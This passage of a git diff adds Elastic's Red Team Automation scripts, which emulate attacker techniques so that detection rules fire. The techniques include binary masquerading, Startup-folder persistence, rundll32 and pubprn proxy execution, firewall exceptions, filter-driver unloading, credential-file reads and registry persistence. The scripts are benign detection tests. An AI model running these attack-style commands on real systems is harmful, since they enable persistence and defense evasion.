. import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="71c81436-242d-4bc8-a195-93d1fdbc774b", + platforms=["windows"], + endpoint=[ + {"rule_name": "Binary Masquerading via Untrusted Path", "rule_id": "35dedf0c-8db6-4d70-b2dc-a133b808211f"}, + { + "rule_name": "Suspicious Troubleshooting Pack Cabinet Execution", + "rule_id": "d18721f0-dce0-4bbc-a56a-06ea511b025e", + }, + ], + siem=[], + techniques=["T1218", "T1036"], +) + +EXE_FILE = common.get_path("bin", "renamed_posh.exe") + + +@common.requires_os(metadata.platforms) +def main(): + firefox = "C:\\Users\\Public\\firefox.exe" + msdt = "C:\\Users\\Public\\msdt.exe" + common.copy_file(EXE_FILE, firefox) + common.copy_file(EXE_FILE, msdt) + + # Creating a high entropy file, and executing the rename operation + common.execute( + [firefox, "/c", "msdt.exe /c", "echo", "/cab", "C:\\Users\\Public\\"], + timeout=10, + ) + common.remove_files(firefox, msdt) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/exec_scripting_persistence_locations.py b/rta/exec_scripting_persistence_locations.py new file mode 100644 index 000000000..e87bae2e5 --- /dev/null +++ b/rta/exec_scripting_persistence_locations.py @@ -0,0 +1,62 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="537de67d-8ba8-4df8-a965-75ca564d0846", + platforms=["windows"], + endpoint=[ + { + "rule_name": "Script Interpreter Process Writing to Commonly Abused Persistence Locations", + "rule_id": "be42f9fc-bdca-41cd-b125-f223d09eef69", + }, + { + "rule_name": "Startup Persistence via Windows Script Interpreter", + "rule_id": "a85000c8-3eac-413b-8353-079343c2b6f0", + }, + ], + siem=[], + techniques=["T1547", "T1059"], +) + + +@common.requires_os(metadata.platforms) +def main(): + + powershell = "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" + + common.log("Dropping executable to Startup Folder using powershell") + common.execute( + [ + powershell, + "-C", + "Copy-Item", + "C:\\Windows\\System32\\cmd.exe", + "'C:\\Documents and Settings\\All Users\\Start Menu\\Programs\\Startup\\'", + ] + ) + + common.log("Dropping executable to Startup Folder using powershell") + common.execute( + [ + powershell, + "-C", + "Copy-Item", + "C:\\Windows\\System32\\cmd.exe", + "'C:\\Documents and Settings\\All Users\\Start Menu\\Programs\\Startup\\cmd2.exe'", + ] + ) + + common.remove_files( + "C:\\Documents and Settings\\All Users\\Start Menu\\Programs\\Startup\\cmd2.exe", + "C:\\Documents and Settings\\All Users\\Start Menu\\Programs\\Startup\\cmd.exe", + ) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/exec_scripting_unusual_extension.py b/rta/exec_scripting_unusual_extension.py new file mode 100644 index 000000000..6b1750ae5 --- /dev/null +++ b/rta/exec_scripting_unusual_extension.py @@ -0,0 +1,31 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="04fa2fff-bbcb-4b13-ad10-33225056e34e", + platforms=["windows"], + endpoint=[ + { + "rule_name": "Execution of a Windows Script with Unusual File Extension", + "rule_id": "b76c0a04-b504-4a2f-a0cf-b4175a2f3eea", + } + ], + siem=[], + techniques=["T1059"], +) + + +@common.requires_os(metadata.platforms) +def main(): + common.log("Executing cscript against .exe") + common.execute(["cmd.exe", "/c", "cscript.exe", "/e:Vbscript", "cmd.exe"], timeout=5, kill=True) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/exec_scripting_via_html_app.py b/rta/exec_scripting_via_html_app.py new file mode 100644 index 000000000..ff8d81026 --- /dev/null +++ b/rta/exec_scripting_via_html_app.py @@ -0,0 +1,42 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="05f1f2a3-430d-4d20-9c0c-767d3b950cbb", + platforms=["windows"], + endpoint=[ + { + "rule_name": "Script Execution via Microsoft HTML Application", + "rule_id": "f0630213-c4c4-4898-9514-746395eb9962", + } + ], + siem=[], + techniques=["T1218"], +) + + +@common.requires_os(metadata.platforms) +def main(): + # Execute Command + # Had a hard time trying to escape the quotes that would be needed to execute a real command using + # RunHTMLApplication, this will just fire the rule and result in a Missing entry error + common.log("Running rundll32 RunHTMLApplication") + common.execute( + [ + "cmd.exe", + "/c", + "rundll32.exe javascript:\\..\\mshtml.dll,RunHTMLApplication", + ], + timeout=5, + kill=True, + ) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/exec_sqlserver_suspicious_child.py b/rta/exec_sqlserver_suspicious_child.py new file mode 100644 index 000000000..de4ca3487 --- /dev/null +++ b/rta/exec_sqlserver_suspicious_child.py @@ -0,0 +1,35 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="0885b643-a199-4453-95e0-be0d1f29aafc", + platforms=["windows"], + endpoint=[ + {"rule_name": "Suspicious Execution from MSSQL Service", "rule_id": "547636af-cad2-4be0-a74e-613c7bb86664"} + ], + siem=[], + techniques=["T1059"], +) + +EXE_FILE = common.get_path("bin", "renamed_posh.exe") + + +@common.requires_os(metadata.platforms) +def main(): + powershell = "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" + sqlserver = "C:\\Users\\Public\\sqlserver.exe" + common.copy_file(EXE_FILE, sqlserver) + + # Execute command + common.execute([sqlserver, "/c", powershell], timeout=10, kill=True) + common.remove_file(sqlserver) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/exec_susp_explorer.py b/rta/exec_susp_explorer.py new file mode 100644 index 000000000..8821e3830 --- /dev/null +++ b/rta/exec_susp_explorer.py @@ -0,0 +1,28 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="76050b81-a8da-43d2-8a83-f18b31162b94", + platforms=["windows"], + endpoint=[ + {"rule_name": "Suspicious Windows Explorer Execution", "rule_id": "f8ec5b76-53cf-4989-b451-7d16abec7298"} + ], + siem=[], + techniques=["T1055", "T1036"], +) + + +@common.requires_os(metadata.platforms) +def main(): + explorer = "C:\\Windows\\explorer.exe" + common.execute([explorer, "easyminerRTA"], timeout=1, kill=True) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/exec_susp_msiexec.py b/rta/exec_susp_msiexec.py new file mode 100644 index 000000000..8409a78fd --- /dev/null +++ b/rta/exec_susp_msiexec.py @@ -0,0 +1,36 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="c9b68802-7d8b-4806-a817-ad50032efc58", + platforms=["windows"], + endpoint=[ + {"rule_name": "Suspicious Execution via MSIEXEC", "rule_id": "9d1d6c77-8acc-478b-8a1f-43da8fa151c7"}, + {"rule_name": "Binary Masquerading via Untrusted Path", "rule_id": "35dedf0c-8db6-4d70-b2dc-a133b808211f"}, + ], + siem=[], + techniques=["T1218", "T1036"], +) + +EXE_FILE = common.get_path("bin", "renamed_posh.exe") + + +@common.requires_os(metadata.platforms) +def main(): + powershell = "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" + msiexec = "C:\\Users\\Public\\msiexec.exe" + common.copy_file(EXE_FILE, msiexec) + + # Execute command + common.execute([powershell, "/c", msiexec], timeout=10, kill=True) + common.remove_file(msiexec) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/exec_susp_parent_child.py b/rta/exec_susp_parent_child.py new file mode 100644 index 000000000..b07f4ce44 --- /dev/null +++ b/rta/exec_susp_parent_child.py @@ -0,0 +1,34 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="b12372b8-0e76-4b3d-9dfc-880664893eb9", + platforms=["windows"], + endpoint=[{"rule_name": "Suspicious Parent-Child Relationship", "rule_id": "18a26e3e-e535-4d23-8ffa-a3cdba56d16e"}], + siem=[], + techniques=["T1055", "T1036"], +) + +EXE_FILE = common.get_path("bin", "renamed_posh.exe") + + +@common.requires_os(metadata.platforms) +def main(): + posh = "C:\\Users\\Public\\posh.exe" + tiworker = "C:\\Users\\Public\\TiWorker.exe" + common.copy_file(EXE_FILE, posh) + common.copy_file(EXE_FILE, tiworker) + + # Execute command + common.execute([posh, "/c", tiworker], timeout=3, kill=True) + common.remove_files(posh, tiworker) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/exec_svchost_child_schedule.py b/rta/exec_svchost_child_schedule.py new file mode 100644 index 000000000..3409cf1c4 --- /dev/null +++ b/rta/exec_svchost_child_schedule.py @@ -0,0 +1,35 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="e9ee4f0c-b8c6-4471-b132-1edf4a7ca441", + platforms=["windows"], + endpoint=[ + {"rule_name": "Binary Masquerading via Untrusted Path", "rule_id": "35dedf0c-8db6-4d70-b2dc-a133b808211f"}, + {"rule_name": "Potential Masquerading as SVCHOST", "rule_id": "5b00c9ba-9546-47cc-8f9f-1c1a3e95f65c"}, + {"rule_name": "Suspicious Windows Schedule Child Process", "rule_id": "eb04896b-935f-4d12-b2ad-579db82e1f42"}, + ], + siem=[], + techniques=["T1218", "T1036", "T1216", "T1220", "T1053", "T1059"], +) + +EXE_FILE = common.get_path("bin", "renamed_posh.exe") + + +@common.requires_os(metadata.platforms) +def main(): + svchost = "C:\\Users\\Public\\svchost.exe" + common.copy_file(EXE_FILE, svchost) + + common.execute([svchost, "/c", "echo", "Schedule", "; mshta"], timeout=1, kill=True) + common.remove_file(svchost) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/exec_unusual_directory.py b/rta/exec_unusual_directory.py new file mode 100644 index 000000000..56824da35 --- /dev/null +++ b/rta/exec_unusual_directory.py @@ -0,0 +1,36 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="0860c487-e9e0-4f86-9829-5bb98f615046", + platforms=["windows"], + endpoint=[ + {"rule_name": "Execution from Unusual Directory", "rule_id": "16c84e67-e5e7-44ff-aefa-4d771bcafc0c"}, + {"rule_name": "Binary Masquerading via Untrusted Path", "rule_id": "35dedf0c-8db6-4d70-b2dc-a133b808211f"}, + ], + siem=[], + techniques=["T1218", "T1036", "T1059"], +) + + +@common.requires_os(metadata.platforms) +def main(): + exe_path = "c:\\windows\\system32\\cscript.exe" + binary = "c:\\Users\\Public\\cscript.exe" + common.copy_file(exe_path, binary) + + # Execute command + common.log("Executing cscript from unusual directory") + common.execute([binary], timeout=5, kill=True) + + common.remove_files(binary) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/exec_winword_susp_parent.py b/rta/exec_winword_susp_parent.py new file mode 100644 index 000000000..8b8c5aca6 --- /dev/null +++ b/rta/exec_winword_susp_parent.py @@ -0,0 +1,38 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="65c661e6-7a15-45c0-97ad-0635eda560ba", + platforms=["windows"], + endpoint=[ + { + "rule_name": "Suspicious Execution via Microsoft Office Add-Ins", + "rule_id": "9efd977a-6d4a-4cc8-8ab3-355587b0ef69", + } + ], + siem=[], + techniques=["T1137", "T1566"], +) + +EXE_FILE = common.get_path("bin", "renamed_posh.exe") + + +@common.requires_os(metadata.platforms) +def main(): + powershell = "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" + winword = "C:\\Users\\Public\\winword.exe" + common.copy_file(EXE_FILE, winword) + + # Execute command + common.execute([powershell, "/c", winword, "/c", "echo", "doc.wll"], timeout=5, kill=True) + common.remove_file(winword) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/execution_node_child_process.py b/rta/execution_node_child_process.py new file mode 100644 index 000000000..142aaf2e1 --- /dev/null +++ b/rta/execution_node_child_process.py @@ -0,0 +1,48 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="20631e46-d3c4-45c0-bfa8-37f6b287db36", + platforms=["macos"], + endpoint=[ + { + "rule_name": "Execution via Electron Child Process Node.js Module", + "rule_id": "1d43f87d-2466-4714-8fef-d52816cc25fb", + } + ], + siem=[ + { + "rule_name": "Execution via Electron Child Process Node.js Module", + "rule_id": "35330ba2-c859-4c98-8b7f-c19159ea0e58", + } + ], + techniques=["T1548", "T1059"], +) + + +@common.requires_os(metadata.platforms) +def main(): + + masquerade = "/tmp/node" + common.create_macos_masquerade(masquerade) + + # Execute command + common.log("Spawning fake node commands to mimic Electon child process.") + common.execute( + [masquerade, "-e", "const { fork } = require('child_process');"], + timeout=10, + kill=True, + ) + + # cleanup + common.remove_file(masquerade) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/execution_pubprn.py b/rta/execution_pubprn.py new file mode 100644 index 000000000..fc6dbb748 --- /dev/null +++ b/rta/execution_pubprn.py @@ -0,0 +1,47 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="8b5119a5-9f78-492a-8448-ff726b0e0b4f", + platforms=["windows"], + endpoint=[ + {"rule_name": "Scriptlet Proxy Execution via PubPrn", "rule_id": "0d4454a7-c682-4085-995c-300973c5bdea"}, + {"rule_name": "Execution from Unusual Directory", "rule_id": "16c84e67-e5e7-44ff-aefa-4d771bcafc0c"}, + {"rule_name": "Binary Masquerading via Untrusted Path", "rule_id": "35dedf0c-8db6-4d70-b2dc-a133b808211f"}, + ], + siem=[], + techniques=["T1216", "T1218", "T1036", "T1059"], +) + +EXE_FILE = common.get_path("bin", "renamed_posh.exe") +RENAMER = common.get_path("bin", "rcedit-x64.exe") + + +@common.requires_os(metadata.platforms) +def main(): + cscript = "C:\\Users\\Public\\cscript.exe" + rcedit = "C:\\Users\\Public\\rcedit.exe" + + common.copy_file(RENAMER, rcedit) + common.copy_file(EXE_FILE, cscript) + + cmd = "127.0.0.1 script:https://domain.com/folder/file.sct" + # Execute command + common.log("Modifying the OriginalFileName attribute") + common.execute( + [rcedit, cscript, "--set-version-string", "OriginalFileName", "cscript.exe"], + timeout=10, + ) + common.execute([cscript, "/c", "echo", cmd], timeout=5, kill=True) + + common.remove_files(cscript, rcedit) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/extexport_sideload.py b/rta/extexport_sideload.py new file mode 100644 index 000000000..167794278 --- /dev/null +++ b/rta/extexport_sideload.py @@ -0,0 +1,45 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="bbbfc3e3-e1ba-45ad-9d30-cbbe115a0c6c", + platforms=["windows"], + endpoint=[ + {"rule_name": "Execution via Internet Explorer Exporter", "rule_id": "e13a65b7-f46f-4c7f-85cf-7e59170071fa"}, + {"rule_name": "Execution via Renamed Signed Binary Proxy", "rule_id": "b0207677-5041-470b-981d-13ab956cf5b4"}, + ], + siem=[], + techniques=["T1218"], +) + +RENAMER = common.get_path("bin", "rcedit-x64.exe") +EXE_FILE = common.get_path("bin", "renamed_posh.exe") + + +@common.requires_os(metadata.platforms) +def main(): + dll = "C:\\Users\\Public\\sqlite3.dll" + posh = "C:\\Users\\Public\\posh.exe" + rcedit = "C:\\Users\\Public\\rcedit.exe" + common.copy_file(RENAMER, dll) + common.copy_file(RENAMER, rcedit) + common.copy_file(EXE_FILE, posh) + + # Execute command + common.log("Modifying the OriginalFileName attribute") + common.execute([rcedit, posh, "--set-version-string", "OriginalFilename", "extexport.exe"]) + + common.log("Executing modified binary with extexport.exe original file name") + common.execute([posh], timeout=10, kill=True) + + common.remove_files(dll, posh, rcedit) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/file_exe_ususual_extension.py b/rta/file_exe_ususual_extension.py new file mode 100644 index 000000000..20502c336 --- /dev/null +++ b/rta/file_exe_ususual_extension.py @@ -0,0 +1,37 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="5370760b-09ea-4258-bcfa-e426726a4777", + platforms=["windows"], + endpoint=[ + {"rule_name": "Execution via Renamed Signed Binary Proxy", "rule_id": "b0207677-5041-470b-981d-13ab956cf5b4"}, + {"rule_name": "Executable with Unusual Filename", "rule_id": "d1b6319f-2933-4872-8e67-5728fd09a4a1"}, + { + "rule_name": "Process Execution with Unusual File Extension", + "rule_id": "6daf97b0-8e29-476b-998a-c3d168d98506", + }, + ], + siem=[], + techniques=["T1218", "T1036"], +) + + +@common.requires_os(metadata.platforms) +def main(): + powershell = "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" + unusualext = "C:\\Users\\Public\\powershell.exe.pdf" + common.copy_file(powershell, unusualext) + + common.execute([unusualext], timeout=1, kill=True) + common.remove_file(unusualext) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/file_html_smuggling.py b/rta/file_html_smuggling.py new file mode 100644 index 000000000..739c75059 --- /dev/null +++ b/rta/file_html_smuggling.py @@ -0,0 +1,52 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata +import os + + +metadata = RtaMetadata( + uuid="0debe15f-1c9b-4ff8-9e4c-478647ca45e2", + platforms=["windows"], + endpoint=[ + {"rule_name": "Suspicious File Delivery via HTML Smuggling", "rule_id": "4415ab60-7cff-41dc-b3f0-939bd22c1810"} + ], + siem=[], + techniques=["T1027", "T1566"], +) + +EXE_FILE = common.get_path("bin", "renamed_posh.exe") + + +@common.requires_os(metadata.platforms) +def main(): + userprofile = os.getenv("USERPROFILE") + partial = f"{userprofile}\\Downloads\\a.partial" + file = f"{userprofile}\\Downloads\\a.iso" + explorer = "C:\\Users\\Public\\explorer.exe" + chrome = "C:\\Users\\Public\\chrome.exe" + common.copy_file(EXE_FILE, explorer) + common.copy_file(EXE_FILE, chrome) + + # Execute command + common.execute( + [ + explorer, + "/c", + chrome, + "--single-argument", + f"{userprofile}\\Downloads\\a.html", + ], + timeout=10, + kill=True, + ) + common.execute([chrome, "/c", f"New-Item -Path {partial} -Type File"], timeout=10) + common.execute([chrome, "/c", f"Rename-Item {partial} {file}"], timeout=10) + common.remove_files(explorer, chrome, file) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/finder_sync_plugin.py b/rta/finder_sync_plugin.py new file mode 100644 index 000000000..f4888adb9 --- /dev/null +++ b/rta/finder_sync_plugin.py @@ -0,0 +1,37 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="214db941-51ba-4867-b9bf-9b22ff07eea8", + platforms=["macos"], + endpoint=[], + siem=[ + {"rule_name": "Finder Sync Plugin Registered and Enabled", "rule_id": "37f638ea-909d-4f94-9248-edd21e4a9906"} + ], + techniques=["T1543"], +) + + +@common.requires_os(metadata.platforms) +def main(): + + masquerade = "/tmp/pluginkit" + common.create_macos_masquerade(masquerade) + + # Execute command + common.log("Launching fake commands to miic finder sync plugins.") + common.execute([masquerade, "-a"], timeout=1, kill=True) + common.execute([masquerade, "-e", "use", "-i"], timeout=1, kill=True) + + # cleanup + common.remove_file(masquerade) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/findstr_pw_search.py b/rta/findstr_pw_search.py index 84b14859f..6cf63001c 100644 --- a/rta/findstr_pw_search.py +++ b/rta/findstr_pw_search.py @@ -9,9 +9,13 @@ # Description: Recursively searches files looking for the string "password". from . import common +from . import RtaMetadata -@common.requires_os(common.WINDOWS) +metadata = RtaMetadata(uuid="332d6bb9-845f-401d-af5a-368f1f10e27a", platforms=["windows"], endpoint=[], siem=[], techniques=[]) + + +@common.requires_os(metadata.platforms) def main(): path = "c:\\rta" common.log("Searching for passwords on %s" % path) diff --git a/rta/firewall_allowlist_modif_unsigned.py b/rta/firewall_allowlist_modif_unsigned.py new file mode 100644 index 000000000..037eb7985 --- /dev/null +++ b/rta/firewall_allowlist_modif_unsigned.py @@ -0,0 +1,38 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="a0245bfc-d934-4b58-9a7c-a80eca05214b", + platforms=["windows"], + endpoint=[ + { + "rule_name": "Windows Firewall Exception List Modified via Untrusted Process", + "rule_id": "5c01669c-e1cc-4acc-95b6-8b5e4a92c970", + } + ], + siem=[], + techniques=["T1562"], +) + +EXE_FILE = common.get_path("bin", "renamed_posh.exe") + + +@common.requires_os(metadata.platforms) +def main(): + posh = "C:\\Users\\Public\\posh.exe" + common.copy_file(EXE_FILE, posh) + + cmd = "netsh addallowedprogramENABLE" + # Execute command + common.execute([posh, "/c", cmd], timeout=10) + common.remove_file(posh) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/fltmc_unload.py b/rta/fltmc_unload.py new file mode 100644 index 000000000..db51193d8 --- /dev/null +++ b/rta/fltmc_unload.py @@ -0,0 +1,33 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="54be1902-0608-49df-8053-40020d8a9210", + platforms=["windows"], + endpoint=[ + { + "rule_name": "Potential Defense Evasion via Filter Manager Control Program", + "rule_id": "5b39f347-077c-4a1e-8d3c-6f7789ca09e8", + } + ], + siem=[], + techniques=["T1562"], +) + + +@common.requires_os(metadata.platforms) +def main(): + + # Execute command + common.log("Executing ftlmc unload on non-exisiting driver") + common.execute(["fltmc.exe", "unload", "ElasticNonExisting"], timeout=10) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/git_creds_access.py b/rta/git_creds_access.py new file mode 100644 index 000000000..8ebd6fb53 --- /dev/null +++ b/rta/git_creds_access.py @@ -0,0 +1,39 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata +import os + + +metadata = RtaMetadata( + uuid="e15ea2ec-c8a9-4203-8d01-d18d1c27fd58", + platforms=["windows"], + endpoint=[ + {"rule_name": "Sensitive File Access - Cloud Credentials", "rule_id": "39f60a36-8c5a-4703-8576-ad3e8c800a0f"} + ], + siem=[], + techniques=["T1552"], +) + + +@common.requires_os(metadata.platforms) +def main(): + powershell = "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" + gitpath = "C:\\Users\\Public\\.config\\git" + + try: + os.makedirs(gitpath) + except Exception: + pass + gitcreds = gitpath + "\\credentials" + cmd = f"echo 'aaaaaa' > {gitcreds}; cat {gitcreds}" + # Execute command + common.execute([powershell, "/c", cmd], timeout=10) + common.remove_file(gitcreds) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/globalflags.py b/rta/globalflags.py index 8bb9d1f22..437257a16 100644 --- a/rta/globalflags.py +++ b/rta/globalflags.py @@ -10,21 +10,31 @@ # process (notepad.exe) is closed. from . import common +from . import RtaMetadata -@common.requires_os(common.WINDOWS) +metadata = RtaMetadata( + uuid="e09d904a-f3bb-4d36-8eb8-8c234812807c", + platforms=["windows"], + endpoint=[], + siem=[{"rule_id": "6839c821-011d-43bd-bd5b-acff00257226", "rule_name": "Image File Execution Options Injection"}], + techniques=["T1546"], +) + + +@common.requires_os(metadata.platforms) def main(): common.log("Setting up persistence using Globalflags") ifeo_subkey = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\netstat.exe" spe_subkey = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\netstat.exe" - with common.temporary_reg(common.HKLM, ifeo_subkey, "GlobalFlag", 512, common.DWORD), \ - common.temporary_reg(common.HKLM, spe_subkey, "ReportingMode", 1, common.DWORD), \ - common.temporary_reg(common.HKLM, spe_subkey, "MonitorProcess", "C:\\Windows\\system32\\whoami.exe"): + with common.temporary_reg(common.HKLM, ifeo_subkey, "GlobalFlag", 512, common.DWORD), common.temporary_reg( + common.HKLM, spe_subkey, "ReportingMode", 1, common.DWORD + ), common.temporary_reg(common.HKLM, spe_subkey, "MonitorProcess", "C:\\Windows\\system32\\whoami.exe"): common.log("Opening and closing netstat") common.execute(["whoami"], shell=True) - common.execute(['taskkill', '/F', '/IM', 'netstat.exe']) + common.execute(["taskkill", "/F", "/IM", "netstat.exe"]) if __name__ == "__main__": diff --git a/rta/grep_software_discovery.py b/rta/grep_software_discovery.py new file mode 100644 index 000000000..472261667 --- /dev/null +++ b/rta/grep_software_discovery.py @@ -0,0 +1,43 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="6ef908be-9ed3-413d-8d4d-94446107eecc", + platforms=["macos", "linux"], + endpoint=[ + { + "rule_name": "Potential Security Software Discovery via Grep", + "rule_id": "13eade2e-73dd-4fab-a511-88258635559d", + } + ], + siem=[{"rule_name": "Security Software Discovery via Grep", "rule_id": "870aecc0-cea4-4110-af3f-e02e9b373655"}], + techniques=["T1518"], +) + + +@common.requires_os(metadata.platforms) +def main(): + + masquerade = "/tmp/grep" + if common.CURRENT_OS == "linux": + source = common.get_path("bin", "linux.ditto_and_spawn") + common.copy_file(source, masquerade) + else: + common.create_macos_masquerade(masquerade) + + # Execute command + common.log("Launching fake grep commands to discover software") + common.execute([masquerade, "testgreptestLittle Snitchtest"], timeout=10, kill=True) + + # cleanup + common.remove_file(masquerade) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/hosts_file_modify.py b/rta/hosts_file_modify.py index 56778dcc1..9505a0c42 100644 --- a/rta/hosts_file_modify.py +++ b/rta/hosts_file_modify.py @@ -15,32 +15,42 @@ import time from string import ascii_letters from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="f24491d0-720b-4150-a2a1-45b5b07238aa", + platforms=["windows", "linux", "macos"], + endpoint=[], + siem=[{"rule_id": "9c260313-c811-4ec8-ab89-8f6530e0246c", "rule_name": "Hosts File Modified"}], + techniques=["T1565"], +) def main(): hosts_files = { common.WINDOWS: "C:\\Windows\\system32\\drivers\\etc\\hosts", common.LINUX: "/etc/hosts", - common.MACOS: "/private/etc/hosts" + common.MACOS: "/private/etc/hosts", } hosts_file = hosts_files[common.CURRENT_OS] - backup = os.path.abspath(hosts_file + '_backup') + backup = os.path.abspath(hosts_file + "_backup") common.log("Backing up original 'hosts' file.") common.copy_file(hosts_file, backup) # add randomness for diffs for FIM module - randomness = ''.join(random.sample(ascii_letters, 10)) + randomness = "".join(random.sample(ascii_letters, 10)) entry = [ - '', - '# RTA hosts_modify was here', - '# 8.8.8.8 https://www.{random}.google.com'.format(random=randomness) + "", + "# RTA hosts_modify was here", + "# 8.8.8.8 https://www.{random}.google.com".format(random=randomness), ] - with open(hosts_file, 'a') as f: - f.write('\n'.join(entry)) + with open(hosts_file, "a") as f: + f.write("\n".join(entry)) - common.log('Updated hosts file') - with open(hosts_file, 'r') as f: + common.log("Updated hosts file") + with open(hosts_file, "r") as f: common.log(f.read()) time.sleep(2) diff --git a/rta/html_help_file_written_exec.py 